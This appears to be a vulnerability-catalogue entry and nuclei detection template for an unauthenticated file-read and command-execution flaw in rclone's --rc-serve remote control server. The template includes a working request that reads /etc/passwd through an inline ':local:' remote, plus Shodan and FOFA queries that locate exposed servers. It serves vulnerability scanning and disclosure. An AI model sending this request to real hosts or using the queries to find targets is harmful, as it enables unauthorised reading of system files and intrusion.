CVE-2026-49980: Rclone 1.46.0 - 1.74.2 - Unauthenticated Arbitrary File Read via --rc-serve
- Template: CVE-2026-49980
- Name: Rclone 1.46.0 - 1.74.2 - Unauthenticated Arbitrary File Read via --rc-serve
- Description: Rclone 1.46.0 through 1.74.2 accepts unauthenticated GET and HEAD requests of the form /[remote:path]/object when the remote control server runs with --rc-serve and without HTTP authentication. The remote value is taken from the URL and passed to normal backend initialization, so an inline remote such as :local: reads any file on the host, and from 1.55.0 on backend options that run local commands lead to command execution.
- Impact: Unauthenticated attackers can read arbitrary files in versions 1.46.0 through 1.74.2; versions 1.55.0 through 1.74.2 also permit command execution as the rclone process user.
- Remediation: Upgrade to rclone 1.74.3 or later, configure RC HTTP authentication, and disable --rc-serve when it is not needed; avoid --rc-no-auth on exposed listeners.
- Severity: critical
- Authors: s4e-io
- Tags: cve, cve2026, rclone, unauth, lfi, rce, vuln
- References: https://github.com/rclone/rclone/security/advisories/GHSA-qw24-gh76-8rvv, https://github.com/rclone/rclone/commit/2326ea79f7dd93de1f7ba15f02353d40995f06a8, https://nvd.nist.gov/vuln/detail/CVE-2026-49980
- Cves: CVE-2026-49980
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-49980.yaml
- Digest: 4a0a00473045022020f5dd32940a82689563988d34eb43958c3c03b384be4f69d629462860e3bc35022100ecea1b13398444c8517096bd180ef774066d954806719bc5c1b8a0b887614bfd
- Created at: 2026-11-19T12:26:02Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 4
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-49980.yaml
Classification
- Cwe: CWE-306
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.02776
- Epss percentile: 0.86716
- Not known: cpe
Metadata
- Fofa-query: title="List of all rclone remotes."
- Max-request: 2
- Product: rclone
- Shodan-query: http.title:"List of all rclone remotes."
- Vendor: rclone
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| rclone:rclone | yes | /v1/products/rclone/rclone |
Labels
- Name: Rclone - Command Injection
- Impact: Remote attackers can execute arbitrary commands as the rclone process user, potentially leading to full system compromise.
- Remediation: Update to version 1.74.3 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-49980
- Not known: requirements
```yaml
id: CVE-2026-49980
info:
name: Rclone 1.46.0 - 1.74.2 - Unauthenticated Arbitrary File Read via --rc-serve
author: s4e-io
severity: critical
description: |
Rclone 1.46.0 through 1.74.2 accepts unauthenticated GET and HEAD requests of the form /[remote:path]/object when the remote control server runs with --rc-serve and without HTTP authentication. The remote value is taken from the URL and passed to normal backend initialization, so an inline remote such as :local: reads any file on the host, and from 1.55.0 on backend options that run local commands lead to command execution.
impact: |
Unauthenticated attackers can read arbitrary files in versions 1.46.0 through 1.74.2; versions 1.55.0 through 1.74.2 also permit command execution as the rclone process user.
remediation: |
Upgrade to rclone 1.74.3 or later, configure RC HTTP authentication, and disable --rc-serve when it is not needed; avoid --rc-no-auth on exposed listeners.
reference:
- https://github.com/rclone/rclone/security/advisories/GHSA-qw24-gh76-8rvv
- https://github.com/rclone/rclone/commit/2326ea79f7dd93de1f7ba15f02353d40995f06a8
- https://nvd.nist.gov/vuln/detail/CVE-2026-49980
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-49980
epss-score: 0.02776
epss-percentile: 0.86716
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: rclone
product: rclone
shodan-query: 'http.title:"List of all rclone remotes."'
fofa-query: 'title="List of all rclone remotes."'
tags: cve,cve2026,rclone,unauth,lfi,rce,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /core/version HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"decomposed\"", "\"goVersion\"")'
- 'compare_versions(trim_prefix(version, "v"), ">= 1.46.0", "< 1.74.3")'
condition: and
internal: true
extractors:
- type: json
name: version
part: body
internal: true
json:
- '.version'
- method: GET
path:
- "{{BaseURL}}/%5B:local:/etc%5D/passwd"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("root:.*:0:0:", body)'
condition: and
digest: 4a0a00473045022020f5dd32940a82689563988d34eb43958c3c03b384be4f69d629462860e3bc35022100ecea1b13398444c8517096bd180ef774066d954806719bc5c1b8a0b887614bfd:922c64590222798bb761d5b6d8e72950
```